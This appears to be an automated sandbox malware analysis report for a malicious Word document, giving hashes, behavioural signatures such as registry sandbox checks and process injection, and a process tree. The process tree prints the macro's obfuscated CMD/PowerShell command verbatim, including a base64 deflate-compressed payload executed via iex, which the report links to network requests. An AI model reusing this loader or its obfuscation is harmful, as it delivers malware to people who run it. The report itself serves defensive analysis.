Analysis
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max time kernel
101s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
03/06/2024, 14:27
Behavioral task
behavioral1
Sample
921c1014b8330f7c47f4945f33d1fef2_JaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
921c1014b8330f7c47f4945f33d1fef2_JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
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Target
921c1014b8330f7c47f4945f33d1fef2_JaffaCakes118.doc
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Size
68KB
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MD5
921c1014b8330f7c47f4945f33d1fef2
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SHA1
9af9f1896d3325c5c35e46ae97e7367826c45a1b
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SHA256
6eb412246c1d0c24ff6e359da8111e85c5d8ac34324c41df40143e6d39bfd322
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SHA512
595befb336abf08c891bb8ba72de47bad0d4cf51a36ef5526eee3e94a7e097ce1900fd2b4498331b81a4837742bbde72c2f9631979acd3e4b8509257e99ed0d6
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SSDEEP
768:HvVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o94eTGy66E7jMx8:Hvocn1kp59gxBK85fBt+a9bK7Q
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3212 1504 CMD.exe 81 -
Blocklisted process makes network request 8 IoCs
flow pid Process 26 4808 powershell.exe 28 4808 powershell.exe 31 4808 powershell.exe 35 4808 powershell.exe 37 4808 powershell.exe 38 4808 powershell.exe 41 4808 powershell.exe 44 4808 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1504 WINWORD.EXE 1504 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4808 powershell.exe 4808 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4808 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1504 WINWORD.EXE 1504 WINWORD.EXE 1504 WINWORD.EXE 1504 WINWORD.EXE 1504 WINWORD.EXE 1504 WINWORD.EXE 1504 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1504 wrote to memory of 3212 1504 WINWORD.EXE 85 PID 1504 wrote to memory of 3212 1504 WINWORD.EXE 85 PID 3212 wrote to memory of 4808 3212 CMD.exe 87 PID 3212 wrote to memory of 4808 3212 CMD.exe 87
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\921c1014b8330f7c47f4945f33d1fef2_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\SYSTEM32\CMD.exeCMD CMd.exE /c "SEt mfa=(NEw-objECT sYSTem.Io.strEAmrEaDer( ( NEw-objECT io.comPreSsioN.deflATEsTReam( [io.memOrySTReam][CONvERT]::froMBasE64stRIng( 'TZBRa4MwFIX/Sh4Caekaafuw0SCUdpS6dWPQje5hLxpvl9iYOI2mTvzvU2Hg6/2+c+BcvNsrX4ObmygBbtErWHqGaKckaMtwkux8IqzN1p7nnKMFmKKOKTepF9TvQq+CzYiWGdwogFf9fJRPq+39P0slF6CggjyWQ3YfQWEvv+Nslndcc2l0pspisLblsebLw/Nx7H1DnksrwjTUmsbgibdloOIXQk+ZknZCNmTK8EFw5COyWDwQhj+d8zHoam0hzWbki8x6PiMUbkDYxeQQcjHB5yRCUqN+8rSxed3g7jX00TitTBjvpYLBuUN94ZQFujJXmAdd6XBhUddzZS0PLRdN2/4B' ) ,[sYSTeM.io.cOMPrEssIon.cOMPRESSioNmoDe]::DecomPReSS )), [TeXt.EnCodinG]::asCIi)).rEadtOEnd() ^|iex&& PowERShEll $oK8 = [Type]( \"{3}{0}{2}{1}\"-f 'nVIR','nT','Onme','e') ; ${eXEcutIOnCoNTeXt}.\"In`VOKE`co`MmaNd\".(\"{1}{2}{0}\"-f 't','InvOK','EsCrIp' ).Invoke( ( ( ^& ( \"{0}{1}\"-f 'gC','i') ( \"V\" + \"aRI\"+\"abL\" + \"E:OK8\") ).\"v`Alue\"::( \"{5}{4}{3}{2}{1}{0}{6}\"-f'iAb','aR','MENTV','N','Ro','getENVI','lE').Invoke( 'mFa',(\"{0}{1}\" -f 'PROCe','SS' ) ) ))"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3212 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowERShEll $oK8 = [Type]( \"{3}{0}{2}{1}\"-f 'nVIR','nT','Onme','e') ; ${eXEcutIOnCoNTeXt}.\"In`VOKE`co`MmaNd\".(\"{1}{2}{0}\"-f 't','InvOK','EsCrIp' ).Invoke( ( ( & ( \"{0}{1}\"-f 'gC','i') ( \"V\" + \"aRI\"+\"abL\" + \"E:OK8\") ).\"v`Alue\"::( \"{5}{4}{3}{2}{1}{0}{6}\"-f'iAb','aR','MENTV','N','Ro','getENVI','lE').Invoke( 'mFa',(\"{0}{1}\" -f 'PROCe','SS' ) ) ))3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4808
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
114B
MD5e89f75f918dbdcee28604d4e09dd71d7
SHA1f9d9055e9878723a12063b47d4a1a5f58c3eb1e9
SHA2566dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023
SHA5128df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0
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Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82